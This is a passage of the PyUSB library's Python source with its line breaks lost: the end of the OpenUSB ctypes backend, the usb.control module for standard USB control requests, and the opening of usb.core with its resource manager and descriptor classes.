OPENUSB_SUCCESS:None, OPENUSB_PLATFORM_FAILURE:None, OPENUSB_NO_RESOURCES:errno.__dict__.get('ENOMEM', None), OPENUSB_NO_BANDWIDTH:None, OPENUSB_NOT_SUPPORTED:errno.__dict__.get('ENOSYS', None), OPENUSB_HC_HARDWARE_ERROR:errno.__dict__.get('EIO', None), OPENUSB_INVALID_PERM:errno.__dict__.get('EBADF', None), OPENUSB_BUSY:errno.__dict__.get('EBUSY', None), OPENUSB_BADARG:errno.__dict__.get('EINVAL', None), OPENUSB_NOACCESS:errno.__dict__.get('EACCES', None), OPENUSB_PARSE_ERROR:None, OPENUSB_UNKNOWN_DEVICE:errno.__dict__.get('ENODEV', None), OPENUSB_INVALID_HANDLE:errno.__dict__.get('EINVAL', None), OPENUSB_SYS_FUNC_FAILURE:None, OPENUSB_NULL_LIST:None, OPENUSB_CB_CONTINUE:None, OPENUSB_CB_TERMINATE:None, OPENUSB_IO_STALL:errno.__dict__.get('EIO', None), OPENUSB_IO_CRC_ERROR:errno.__dict__.get('EIO', None), OPENUSB_IO_DEVICE_HUNG:errno.__dict__.get('EIO', None), OPENUSB_IO_REQ_TOO_BIG:errno.__dict__.get('E2BIG', None), OPENUSB_IO_BIT_STUFFING:None, OPENUSB_IO_UNEXPECTED_PID:errno.__dict__.get('ESRCH', None), OPENUSB_IO_DATA_OVERRUN:errno.__dict__.get('EOVERFLOW', None), OPENUSB_IO_DATA_UNDERRUN:None, OPENUSB_IO_BUFFER_OVERRUN:errno.__dict__.get('EOVERFLOW', None), OPENUSB_IO_BUFFER_UNDERRUN:None, OPENUSB_IO_PID_CHECK_FAILURE:None, OPENUSB_IO_DATA_TOGGLE_MISMATCH:None, OPENUSB_IO_TIMEOUT:errno.__dict__.get('ETIMEDOUT', None), OPENUSB_IO_CANCELED:errno.__dict__.get('EINTR', None) } class _usb_endpoint_desc(Structure): _fields_ = [('bLength', c_uint8), ('bDescriptorType', c_uint8), ('bEndpointAddress', c_uint8), ('bmAttributes', c_uint8), ('wMaxPacketSize', c_uint16), ('bInterval', c_uint8), ('bRefresh', c_uint8), ('bSynchAddress', c_uint8)] class _usb_interface_desc(Structure): _fields_ = [('bLength', c_uint8), ('bDescriptorType', c_uint8), ('bInterfaceNumber', c_uint8), ('bAlternateSetting', c_uint8), ('bNumEndpoints', c_uint8), ('bInterfaceClass', c_uint8), ('bInterfaceSubClass', c_uint8), ('bInterfaceProtocol', c_uint8), ('iInterface', c_uint8)] class _usb_config_desc(Structure): _fields_ = [('bLength', c_uint8), ('bDescriptorType', c_uint8), ('wTotalLength', c_uint16), ('bNumInterfaces', c_uint8), ('bConfigurationValue', c_uint8), ('iConfiguration', c_uint8), ('bmAttributes', c_uint8), ('bMaxPower', c_uint8)] class _usb_device_desc(Structure): _fields_ = [('bLength', c_uint8), ('bDescriptorType', c_uint8), ('bcdUSB', c_uint16), ('bDeviceClass', c_uint8), ('bDeviceSubClass', c_uint8), ('bDeviceProtocol', c_uint8), ('bMaxPacketSize0', c_uint8), ('idVendor', c_uint16), ('idProduct', c_uint16), ('bcdDevice', c_uint16), ('iManufacturer', c_uint8), ('iProduct', c_uint8), ('iSerialNumber', c_uint8), ('bNumConfigurations', c_uint8)] class _openusb_request_result(Structure): _fields_ = [('status', c_int32), ('transferred_bytes', c_uint32)] class _openusb_ctrl_request(Structure): def __init__(self): super(_openusb_ctrl_request, self).__init__() self.setup.bmRequestType = 0 self.setup.bRequest = 0 self.setup.wValue = 0 self.setup.wIndex = 0 self.payload = None self.length = 0 self.timeout = 0 self.flags = 0 self.result.status = 0 self.result.transferred_bytes = 0 self.next = None class _openusb_ctrl_setup(Structure): _fields_ = [('bmRequestType', c_uint8), ('bRequest', c_uint8), ('wValue', c_uint16), ('wIndex', c_uint16)] _fields_ = [('setup', _openusb_ctrl_setup), ('payload', POINTER(c_uint8)), ('length', c_uint32), ('timeout', c_uint32), ('flags', c_uint32), ('result', _openusb_request_result), ('next', c_void_p)] class _openusb_intr_request(Structure): _fields_ = [('interval', c_uint16), ('payload', POINTER(c_uint8)), ('length', c_uint32), ('timeout', c_uint32), ('flags', c_uint32), ('result', _openusb_request_result), ('next', c_void_p)] class _openusb_bulk_request(Structure): _fields_ = [('payload', POINTER(c_uint8)), ('length', c_uint32), ('timeout', c_uint32), ('flags', c_uint32), ('result', _openusb_request_result), ('next', c_void_p)] class _openusb_isoc_pkts(Structure): class _openusb_isoc_packet(Structure): _fields_ = [('payload', POINTER(c_uint8)), ('length', c_uint32)] _fields_ = [('num_packets', c_uint32), ('packets', POINTER(_openusb_isoc_packet))] class _openusb_isoc_request(Structure): _fields_ = [('start_frame', c_uint32), ('flags', c_uint32), ('pkts', _openusb_isoc_pkts), ('isoc_results', POINTER(_openusb_request_result)), ('isoc_status', c_int32), ('next', c_void_p)] _openusb_devid = c_uint64 _openusb_busid = c_uint64 _openusb_handle = c_uint64 _openusb_dev_handle = c_uint64 _lib = None _ctx = None def _load_library(find_library=None): # FIXME: cygwin name is "openusb"? # (that's what the original _load_library() function # would have searched for) return usb.libloader.load_locate_library( ('openusb',), 'openusb', "OpenUSB library", find_library=find_library ) def _setup_prototypes(lib): # int32_t openusb_init(uint32_t flags , openusb_handle_t *handle); lib.openusb_init.argtypes = [c_uint32, POINTER(_openusb_handle)] lib.openusb_init.restype = c_int32 # void openusb_fini(openusb_handle_t handle ); lib.openusb_fini.argtypes = [_openusb_handle] # uint32_t openusb_get_busid_list(openusb_handle_t handle, # openusb_busid_t **busids, # uint32_t *num_busids); lib.openusb_get_busid_list.argtypes = [ _openusb_handle, POINTER(POINTER(_openusb_busid)), POINTER(c_uint32) ] # void openusb_free_busid_list(openusb_busid_t * busids); lib.openusb_free_busid_list.argtypes = [POINTER(_openusb_busid)] # uint32_t openusb_get_devids_by_bus(openusb_handle_t handle, # openusb_busid_t busid, # openusb_devid_t **devids, # uint32_t *num_devids); lib.openusb_get_devids_by_bus.argtypes = [ _openusb_handle, _openusb_busid, POINTER(POINTER(_openusb_devid)), POINTER(c_uint32) ] lib.openusb_get_devids_by_bus.restype = c_int32 # void openusb_free_devid_list(openusb_devid_t * devids); lib.openusb_free_devid_list.argtypes = [POINTER(_openusb_devid)] # int32_t openusb_open_device(openusb_handle_t handle, # openusb_devid_t devid , # uint32_t flags, # openusb_dev_handle_t *dev); lib.openusb_open_device.argtypes = [ _openusb_handle, _openusb_devid, c_uint32, POINTER(_openusb_dev_handle) ] lib.openusb_open_device.restype = c_int32 # int32_t openusb_close_device(openusb_dev_handle_t dev); lib.openusb_close_device.argtypes = [_openusb_dev_handle] lib.openusb_close_device.restype = c_int32 # int32_t openusb_set_configuration(openusb_dev_handle_t dev, # uint8_t cfg); lib.openusb_set_configuration.argtypes = [_openusb_dev_handle, c_uint8] lib.openusb_set_configuration.restype = c_int32 # int32_t openusb_get_configuration(openusb_dev_handle_t dev, # uint8_t *cfg); lib.openusb_get_configuration.argtypes = [_openusb_dev_handle, POINTER(c_uint8)] lib.openusb_get_configuration.restype = c_int32 # int32_t openusb_claim_interface(openusb_dev_handle_t dev, # uint8_t ifc, # openusb_init_flag_t flags); lib.openusb_claim_interface.argtypes = [ _openusb_dev_handle, c_uint8, c_int ] lib.openusb_claim_interface.restype = c_int32 # int32_t openusb_release_interface(openusb_dev_handle_t dev, # uint8_t ifc); lib.openusb_release_interface.argtypes = [ _openusb_dev_handle, c_uint8 ] lib.openusb_release_interface.restype = c_int32 # int32_topenusb_set_altsetting(openusb_dev_handle_t dev, # uint8_t ifc, # uint8_t alt); lib.openusb_set_altsetting.argtypes = [ _openusb_dev_handle, c_uint8, c_uint8 ] lib.openusb_set_altsetting.restype = c_int32 # int32_t openusb_reset(openusb_dev_handle_t dev); lib.openusb_reset.argtypes = [_openusb_dev_handle] lib.openusb_reset.restype = c_int32 # int32_t openusb_parse_device_desc(openusb_handle_t handle, # openusb_devid_t devid, # uint8_t *buffer, # uint16_t buflen, # usb_device_desc_t *devdesc); lib.openusb_parse_device_desc.argtypes = [ _openusb_handle, _openusb_devid, POINTER(c_uint8), c_uint16, POINTER(_usb_device_desc) ] lib.openusb_parse_device_desc.restype = c_int32 # int32_t openusb_parse_config_desc(openusb_handle_t handle, # openusb_devid_t devid, # uint8_t *buffer, # uint16_t buflen, # uint8_t cfgidx, # usb_config_desc_t *cfgdesc); lib.openusb_parse_config_desc.argtypes = [ _openusb_handle, _openusb_devid, POINTER(c_uint8), c_uint16, c_uint8, POINTER(_usb_config_desc) ] lib.openusb_parse_config_desc.restype = c_int32 # int32_t openusb_parse_interface_desc(openusb_handle_t handle, # openusb_devid_t devid, # uint8_t *buffer, # uint16_t buflen, # uint8_t cfgidx, # uint8_t ifcidx, # uint8_t alt, # usb_interface_desc_t *ifcdesc); lib.openusb_parse_interface_desc.argtypes = [ _openusb_handle, _openusb_devid, POINTER(c_uint8), c_uint16, c_uint8, c_uint8, c_uint8, POINTER(_usb_interface_desc) ] lib.openusb_parse_interface_desc.restype = c_int32 # int32_t openusb_parse_endpoint_desc(openusb_handle_t handle, # openusb_devid_t devid, # uint8_t *buffer, # uint16_t buflen, # uint8_t cfgidx, # uint8_t ifcidx, # uint8_t alt, # uint8_t eptidx, # usb_endpoint_desc_t *eptdesc); lib.openusb_parse_endpoint_desc.argtypes = [ _openusb_handle, _openusb_devid, POINTER(c_uint8), c_uint16, c_uint8, c_uint8, c_uint8, c_uint8, POINTER(_usb_endpoint_desc) ] lib.openusb_parse_interface_desc.restype = c_int32 # const char *openusb_strerror(int32_t error ); lib.openusb_strerror.argtypes = [c_int32] lib.openusb_strerror.restype = c_char_p # int32_t openusb_ctrl_xfer(openusb_dev_handle_t dev, # uint8_t ifc, # uint8_t ept, # openusb_ctrl_request_t *ctrl); lib.openusb_ctrl_xfer.argtypes = [ _openusb_dev_handle, c_uint8, c_uint8, POINTER(_openusb_ctrl_request) ] lib.openusb_ctrl_xfer.restype = c_int32 # int32_t openusb_intr_xfer(openusb_dev_handle_t dev, # uint8_t ifc, # uint8_t ept, # openusb_intr_request_t *intr); lib.openusb_intr_xfer.argtypes = [ _openusb_dev_handle, c_uint8, c_uint8, POINTER(_openusb_intr_request) ] lib.openusb_bulk_xfer.restype = c_int32 # int32_t openusb_bulk_xfer(openusb_dev_handle_t dev, # uint8_t ifc, # uint8_t ept, # openusb_bulk_request_t *bulk); lib.openusb_bulk_xfer.argtypes = [ _openusb_dev_handle, c_uint8, c_uint8, POINTER(_openusb_bulk_request) ] lib.openusb_bulk_xfer.restype = c_int32 # int32_t openusb_isoc_xfer(openusb_dev_handle_t dev, # uint8_t ifc, # uint8_t ept, # openusb_isoc_request_t *isoc); lib.openusb_isoc_xfer.argtypes = [ _openusb_dev_handle, c_uint8, c_uint8, POINTER(_openusb_isoc_request) ] lib.openusb_isoc_xfer.restype = c_int32 def _check(ret): if hasattr(ret, 'value'): ret = ret.value if ret != 0: raise USBError(_lib.openusb_strerror(ret), ret, _openusb_errno[ret]) return ret class _Context(_objfinalizer.AutoFinalizedObject): def __init__(self): self.handle = _openusb_handle() _check(_lib.openusb_init(0, byref(self.handle))) def _finalize_object(self): _lib.openusb_fini(self.handle) class _BusIterator(_objfinalizer.AutoFinalizedObject): def __init__(self): self.buslist = POINTER(_openusb_busid)() num_busids = c_uint32() _check(_lib.openusb_get_busid_list(_ctx.handle, byref(self.buslist), byref(num_busids))) self.num_busids = num_busids.value def __iter__(self): for i in range(self.num_busids): yield self.buslist[i] def _finalize_object(self): _lib.openusb_free_busid_list(self.buslist) class _DevIterator(_objfinalizer.AutoFinalizedObject): def __init__(self, busid): self.devlist = POINTER(_openusb_devid)() num_devids = c_uint32() _check(_lib.openusb_get_devids_by_bus(_ctx.handle, busid, byref(self.devlist), byref(num_devids))) self.num_devids = num_devids.value def __iter__(self): for i in range(self.num_devids): yield self.devlist[i] def _finalize_object(self): _lib.openusb_free_devid_list(self.devlist) class _OpenUSB(usb.backend.IBackend): @methodtrace(_logger) def enumerate_devices(self): for bus in _BusIterator(): for devid in _DevIterator(bus): yield devid @methodtrace(_logger) def get_device_descriptor(self, dev): desc = _usb_device_desc() _check(_lib.openusb_parse_device_desc(_ctx.handle, dev, None, 0, byref(desc))) desc.bus = None desc.address = None desc.port_number = None desc.port_numbers = None desc.speed = None return desc @methodtrace(_logger) def get_configuration_descriptor(self, dev, config): desc = _usb_config_desc() _check(_lib.openusb_parse_config_desc(_ctx.handle, dev, None, 0, config, byref(desc))) desc.extra_descriptors = None return desc @methodtrace(_logger) def get_interface_descriptor(self, dev, intf, alt, config): desc = _usb_interface_desc() _check(_lib.openusb_parse_interface_desc(_ctx.handle, dev, None, 0, config, intf, alt, byref(desc))) desc.extra_descriptors = None return desc @methodtrace(_logger) def get_endpoint_descriptor(self, dev, ep, intf, alt, config): desc = _usb_endpoint_desc() _check(_lib.openusb_parse_endpoint_desc(_ctx.handle, dev, None, 0, config, intf, alt, ep, byref(desc))) desc.extra_descriptors = None return desc @methodtrace(_logger) def open_device(self, dev): handle = _openusb_dev_handle() _check(_lib.openusb_open_device(_ctx.handle, dev, 0, byref(handle))) return handle @methodtrace(_logger) def close_device(self, dev_handle): _lib.openusb_close_device(dev_handle) @methodtrace(_logger) def set_configuration(self, dev_handle, config_value): _check(_lib.openusb_set_configuration(dev_handle, config_value)) @methodtrace(_logger) def get_configuration(self, dev_handle): config = c_uint8() _check(_lib.openusb_get_configuration(dev_handle, byref(config))) return config.value @methodtrace(_logger) def set_interface_altsetting(self, dev_handle, intf, altsetting): _check(_lib.openusb_set_altsetting(dev_handle, intf, altsetting)) @methodtrace(_logger) def claim_interface(self, dev_handle, intf): _check(_lib.openusb_claim_interface(dev_handle, intf, 0)) @methodtrace(_logger) def release_interface(self, dev_handle, intf): _lib.openusb_release_interface(dev_handle, intf) @methodtrace(_logger) def bulk_write(self, dev_handle, ep, intf, data, timeout): request = _openusb_bulk_request() memset(byref(request), 0, sizeof(request)) payload, request.length = data.buffer_info() request.payload = cast(payload, POINTER(c_uint8)) request.timeout = timeout _check(_lib.openusb_bulk_xfer(dev_handle, intf, ep, byref(request))) return request.result.transferred_bytes @methodtrace(_logger) def bulk_read(self, dev_handle, ep, intf, buff, timeout): request = _openusb_bulk_request() memset(byref(request), 0, sizeof(request)) payload, request.length = buff.buffer_info() request.payload = cast(payload, POINTER(c_uint8)) request.timeout = timeout _check(_lib.openusb_bulk_xfer(dev_handle, intf, ep, byref(request))) return request.result.transferred_bytes @methodtrace(_logger) def intr_write(self, dev_handle, ep, intf, data, timeout): request = _openusb_intr_request() memset(byref(request), 0, sizeof(request)) payload, request.length = data.buffer_info() request.payload = cast(payload, POINTER(c_uint8)) request.timeout = timeout _check(_lib.openusb_intr_xfer(dev_handle, intf, ep, byref(request))) return request.result.transferred_bytes @methodtrace(_logger) def intr_read(self, dev_handle, ep, intf, buff, timeout): request = _openusb_intr_request() memset(byref(request), 0, sizeof(request)) payload, request.length = buff.buffer_info() request.payload = cast(payload, POINTER(c_uint8)) request.timeout = timeout _check(_lib.openusb_intr_xfer(dev_handle, intf, ep, byref(request))) return request.result.transferred_bytes # TODO: implement isochronous # @methodtrace(_logger) # def iso_write(self, dev_handle, ep, intf, data, timeout): # pass # @methodtrace(_logger) # def iso_read(self, dev_handle, ep, intf, size, timeout): # pass @methodtrace(_logger) def ctrl_transfer(self, dev_handle, bmRequestType, bRequest, wValue, wIndex, data, timeout): request = _openusb_ctrl_request() request.setup.bmRequestType = bmRequestType request.setup.bRequest = bRequest request.setup.wValue request.setup.wIndex request.timeout = timeout direction = usb.util.ctrl_direction(bmRequestType) payload, request.length = data.buffer_info() request.length *= data.itemsize request.payload = cast(payload, POINTER(c_uint8)) _check(_lib.openusb_ctrl_xfer(dev_handle, 0, 0, byref(request))) return request.result.transferred_bytes @methodtrace(_logger) def reset_device(self, dev_handle): _check(_lib.openusb_reset(dev_handle)) @methodtrace(_logger) def clear_halt(self, dev_handle, ep): bmRequestType = util.build_request_type( util.CTRL_OUT, util.CTRL_TYPE_STANDARD, util.CTRL_RECIPIENT_ENDPOINT) self.ctrl_transfer( dev_handle, bmRequestType, 0x03, 0, ep, _interop.as_array(), 1000) def get_backend(find_library=None): try: global _lib, _ctx if _lib is None: _lib = _load_library(find_library) _setup_prototypes(_lib) _ctx = _Context() return _OpenUSB() except usb.libloader.LibraryException: # exception already logged (if any) _logger.error('Error loading OpenUSB backend', exc_info=False) return None except Exception: _logger.error('Error loading OpenUSB backend', exc_info=True) return None ================================================ FILE: usb/control.py ================================================ # Copyright (C) 2009-2014 Wander Lairson Costa # # The following terms apply to all files associated # with the software unless explicitly disclaimed in individual files. # # The authors hereby grant permission to use, copy, modify, distribute, # and license this software and its documentation for any purpose, provided # that existing copyright notices are retained in all copies and that this # notice is included verbatim in any distributions. No written agreement, # license, or royalty fee is required for any of the authorized uses. # Modifications to this software may be copyrighted by their authors # and need not follow the licensing terms described here, provided that # the new terms are clearly indicated on the first page of each file where # they apply. # # IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR # MODIFICATIONS. r"""usb.control - USB standard control requests This module exports: get_status - get recipeint status clear_feature - clear a recipient feature set_feature - set a recipient feature get_descriptor - get a device descriptor set_descriptor - set a device descriptor get_configuration - get a device configuration set_configuration - set a device configuration get_interface - get a device interface set_interface - set a device interface """ __author__ = 'Wander Lairson Costa' __all__ = ['get_status', 'clear_feature', 'set_feature', 'get_descriptor', 'set_descriptor', 'get_configuration', 'set_configuration', 'get_interface', 'set_interface', 'ENDPOINT_HALT', 'FUNCTION_SUSPEND', 'DEVICE_REMOTE_WAKEUP', 'U1_ENABLE', 'U2_ENABLE', 'LTM_ENABLE'] import usb.util as util import usb.core as core def _parse_recipient(recipient, direction): if recipient is None: r = util.CTRL_RECIPIENT_DEVICE wIndex = 0 elif isinstance(recipient, core.Interface): r = util.CTRL_RECIPIENT_INTERFACE wIndex = recipient.bInterfaceNumber elif isinstance(recipient, core.Endpoint): r = util.CTRL_RECIPIENT_ENDPOINT wIndex = recipient.bEndpointAddress else: raise ValueError('Invalid recipient.') bmRequestType = util.build_request_type( direction, util.CTRL_TYPE_STANDARD, r ) return (bmRequestType, wIndex) # standard feature selectors from USB 2.0/3.0 ENDPOINT_HALT = 0 FUNCTION_SUSPEND = 0 DEVICE_REMOTE_WAKEUP = 1 U1_ENABLE = 48 U2_ENABLE = 49 LTM_ENABLE = 50 def get_status(dev, recipient = None): r"""Return the status for the specified recipient. dev is the Device object to which the request will be sent to. The recipient can be None (on which the status will be queried from the device), an Interface or Endpoint descriptors. The status value is returned as an integer with the lower word being the two bytes status value. """ bmRequestType, wIndex = _parse_recipient(recipient, util.CTRL_IN) ret = dev.ctrl_transfer(bmRequestType = bmRequestType, bRequest = 0x00, wIndex = wIndex, data_or_wLength = 2) return ret[0] | (ret[1] << 8) def clear_feature(dev, feature, recipient = None): r"""Clear/disable a specific feature. dev is the Device object to which the request will be sent to. feature is the feature you want to disable. The recipient can be None (on which the status will be queried from the device), an Interface or Endpoint descriptors. """ if feature == ENDPOINT_HALT: dev.clear_halt(recipient) else: bmRequestType, wIndex = _parse_recipient(recipient, util.CTRL_OUT) dev.ctrl_transfer(bmRequestType = bmRequestType, bRequest = 0x01, wIndex = wIndex, wValue = feature) def set_feature(dev, feature, recipient = None): r"""Set/enable a specific feature. dev is the Device object to which the request will be sent to. feature is the feature you want to enable. The recipient can be None (on which the status will be queried from the device), an Interface or Endpoint descriptors. """ bmRequestType, wIndex = _parse_recipient(recipient, util.CTRL_OUT) dev.ctrl_transfer(bmRequestType = bmRequestType, bRequest = 0x03, wIndex = wIndex, wValue = feature) def get_descriptor(dev, desc_size, desc_type, desc_index, wIndex = 0): r"""Return the specified descriptor. dev is the Device object to which the request will be sent to. desc_size is the descriptor size. desc_type and desc_index are the descriptor type and index, respectively. wIndex index is used for string descriptors and represents the Language ID. For other types of descriptors, it is zero. """ wValue = desc_index | (desc_type << 8) bmRequestType = util.build_request_type( util.CTRL_IN, util.CTRL_TYPE_STANDARD, util.CTRL_RECIPIENT_DEVICE) return dev.ctrl_transfer( bmRequestType = bmRequestType, bRequest = 0x06, wValue = wValue, wIndex = wIndex, data_or_wLength = desc_size) def set_descriptor(dev, desc, desc_type, desc_index, wIndex = None): r"""Update an existing descriptor or add a new one. dev is the Device object to which the request will be sent to. The desc parameter is the descriptor to be sent to the device. desc_type and desc_index are the descriptor type and index, respectively. wIndex index is used for string descriptors and represents the Language ID. For other types of descriptors, it is zero. """ wValue = desc_index | (desc_type << 8) bmRequestType = util.build_request_type( util.CTRL_OUT, util.CTRL_TYPE_STANDARD, util.CTRL_RECIPIENT_DEVICE) dev.ctrl_transfer( bmRequestType = bmRequestType, bRequest = 0x07, wValue = wValue, wIndex = wIndex, data_or_wLength = desc) def get_configuration(dev): r"""Get the current active configuration of the device. dev is the Device object to which the request will be sent to. This function differs from the Device.get_active_configuration method because the later may use cached data, while this function always does a device request. """ bmRequestType = util.build_request_type( util.CTRL_IN, util.CTRL_TYPE_STANDARD, util.CTRL_RECIPIENT_DEVICE) return dev.ctrl_transfer( bmRequestType, bRequest = 0x08, data_or_wLength = 1)[0] def set_configuration(dev, bConfigurationNumber): r"""Set the current device configuration. dev is the Device object to which the request will be sent to. """ dev.set_configuration(bConfigurationNumber) def get_interface(dev, bInterfaceNumber): r"""Get the current alternate setting of the interface. dev is the Device object to which the request will be sent to. """ bmRequestType = util.build_request_type( util.CTRL_IN, util.CTRL_TYPE_STANDARD, util.CTRL_RECIPIENT_INTERFACE) return dev.ctrl_transfer( bmRequestType = bmRequestType, bRequest = 0x0a, wIndex = bInterfaceNumber, data_or_wLength = 1)[0] def set_interface(dev, bInterfaceNumber, bAlternateSetting): r"""Set the alternate setting of the interface. dev is the Device object to which the request will be sent to. """ dev.set_interface_altsetting(bInterfaceNumber, bAlternateSetting) ================================================ FILE: usb/core.py ================================================ # Copyright (C) 2009-2014 Wander Lairson Costa # # The following terms apply to all files associated # with the software unless explicitly disclaimed in individual files. # # The authors hereby grant permission to use, copy, modify, distribute, # and license this software and its documentation for any purpose, provided # that existing copyright notices are retained in all copies and that this # notice is included verbatim in any distributions. No written agreement, # license, or royalty fee is required for any of the authorized uses. # Modifications to this software may be copyrighted by their authors # and need not follow the licensing terms described here, provided that # the new terms are clearly indicated on the first page of each file where # they apply. # # IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR # MODIFICATIONS. r"""usb.core - Core USB features. This module exports: Device - a class representing a USB device. Configuration - a class representing a configuration descriptor. Interface - a class representing an interface descriptor. Endpoint - a class representing an endpoint descriptor. find() - a function to find USB devices. show_devices() - a function to show the devices present. """ __author__ = 'Wander Lairson Costa' __all__ = [ 'Device', 'Configuration', 'Interface', 'Endpoint', 'find', 'show_devices' ] import usb.util as util import copy import operator import usb._interop as _interop import usb._objfinalizer as _objfinalizer import usb._lookup as _lu import logging import array import threading import functools _logger = logging.getLogger('usb.core') _DEFAULT_TIMEOUT = 1000 def _set_attr(input, output, fields): for f in fields: setattr(output, f, getattr(input, f)) def _try_get_string(dev, index, langid = None, default_str_i0 = "", default_access_error = "Error Accessing String"): """ try to get a string, but return a string no matter what """ if index == 0 : string = default_str_i0 else: try: if langid is None: string = util.get_string(dev, index) else: string = util.get_string(dev, index, langid) except : string = default_access_error return string def _try_lookup(table, value, default = ""): """ try to get a string from the lookup table, return "" instead of key error """ try: string = table[ value ] except KeyError: string = default return string class _DescriptorInfo(str): """ this class is used so that when a descriptor is shown on the terminal it is propely formatted """ def __repr__(self): return self def synchronized(f): @functools.wraps(f) def wrapper(self, *args, **kwargs): try: self.lock.acquire() return f(self, *args, **kwargs) finally: self.lock.release() return wrapper class _ResourceManager(object): def __init__(self, dev, backend): self.backend = backend self._active_cfg_index = None self.dev = dev self.handle = None self._claimed_intf = _interop._set() self._ep_info = {} self.lock = threading.RLock() @synchronized def managed_open(self): if self.handle is None: self.handle = self.backend.open_device(self.dev) return self.handle @synchronized def managed_close(self): if self.handle is not None: self.backend.close_device(self.handle) self.handle = None @synchronized def managed_set_configuration(self, device, config): if config is None: cfg = device[0] elif isinstance(config, Configuration): cfg = config elif config == 0: # unconfigured state class MockConfiguration(object): def __init__(self): self.index = None self.bConfigurationValue = 0 cfg = MockConfiguration() else: cfg = util.find_descriptor(device, bConfigurationValue=config) if cfg is None: raise ValueError("Invalid configuration " + str(config)) self.managed_open() self.backend.set_configuration(self.handle, cfg.bConfigurationValue) # cache the index instead of the object to avoid cyclic references # of the device and Configuration (Device tracks the _ResourceManager, # which tracks the Configuration, which tracks the Device) self._active_cfg_index = cfg.index self._ep_info.clear() @synchronized def managed_claim_interface(self, device, intf): self.managed_open() if isinstance(intf, Interface): i = intf.bInterfaceNumber else: i = intf if i not in self._claimed_intf: self.backend.claim_interface(self.handle, i) self._claimed_intf.add(i) @synchronized def managed_release_interface(self, device, intf): if intf is None: cfg = self.get_active_configuration(device) i = cfg[(0,0)].bInterfaceNumber elif isinstance(intf, Interface): i = intf.bInterfaceNumber else: i = intf if i in self._claimed_intf: try: self.backend.release_interface(self.handle, i) finally: self._claimed_intf.remove(i) @synchronized def managed_set_interface(self, device, intf, alt): if isinstance(intf, Interface): i = intf else: cfg = self.get_active_configuration(device) if intf is None: intf = cfg[(0,0)].bInterfaceNumber if alt is not None: i = util.find_descriptor(cfg, bInterfaceNumber=intf, bAlternateSetting=alt) else: i = util.find_descriptor(cfg, bInterfaceNumber=intf) self.managed_claim_interface(device, i) if alt is None: alt = i.bAlternateSetting self.backend.set_interface_altsetting(self.handle, i.bInterfaceNumber, alt) @synchronized def setup_request(self, device, endpoint): # we need the endpoint address, but the "endpoint" parameter # can be either the a Endpoint object or the endpoint address itself if isinstance(endpoint, Endpoint): endpoint_address = endpoint.bEndpointAddress else: endpoint_address = endpoint intf, ep = self.get_interface_and_endpoint(device, endpoint_address) self.managed_claim_interface(device, intf) return (intf, ep) # Find the interface and endpoint objects which endpoint address belongs to @synchronized def get_interface_and_endpoint(self, device, endpoint_address): try: return self._ep_info[endpoint_address] except KeyError: for intf in self.get_active_configuration(device): ep = util.find_descriptor(intf, bEndpointAddress=endpoint_address) if ep is not None: self._ep_info[endpoint_address] = (intf, ep) return intf, ep raise ValueError('Invalid endpoint address ' + hex(endpoint_address)) @synchronized def get_active_configuration(self, device): if self._active_cfg_index is None: self.managed_open() cfg = util.find_descriptor( device, bConfigurationValue=self.backend.get_configuration(self.handle) ) if cfg is None: raise USBError('Configuration not set') self._active_cfg_index = cfg.index return cfg return device[self._active_cfg_index] @synchronized def release_all_interfaces(self, device): claimed = copy.copy(self._claimed_intf) for i in claimed: try: self.managed_release_interface(device, i) except USBError: # Ignore errors when releasing the interfaces # When the device is disconnected, the call may fail pass @synchronized def dispose(self, device, close_handle = True): self.release_all_interfaces(device) if close_handle: self.managed_close() self._ep_info.clear() self._active_cfg_index = None class USBError(IOError): r"""Exception class for USB errors. Backends must raise this exception when USB related errors occur. The backend specific error code is available through the 'backend_error_code' member variable. """ def __init__(self, strerror, error_code = None, errno = None): r"""Initialize the object. This initializes the USBError object. The strerror and errno are passed to the parent object. The error_code parameter is attributed to the backend_error_code member variable. """ IOError.__init__(self, errno, strerror) self.backend_error_code = error_code class NoBackendError(ValueError): r"Exception class when a valid backend is not found." pass class Endpoint(object): r"""Represent an endpoint object. This class contains all fields of the Endpoint Descriptor according to the USB Specification. You can access them as class properties. For example, to access the field bEndpointAddress of the endpoint descriptor, you can do so: >>> import usb.core >>> dev = usb.core.find() >>> for cfg in dev: >>> for i in cfg: >>> for e in i: >>> print e.bEndpointAddress """ def __init__(self, device, endpoint, interface = 0, alternate_setting = 0, configuration = 0): r"""Initialize the Endpoint object. The device parameter is the device object returned by the find() function. endpoint is the endpoint logical index (not the endpoint address). The configuration parameter is the logical index of the configuration (not the bConfigurationValue field). The interface parameter is the interface logical index (not the bInterfaceNumber field) and alternate_setting is the alternate setting logical index (not the bAlternateSetting value). An interface may have only one alternate setting. In this case, the alternate_setting parameter 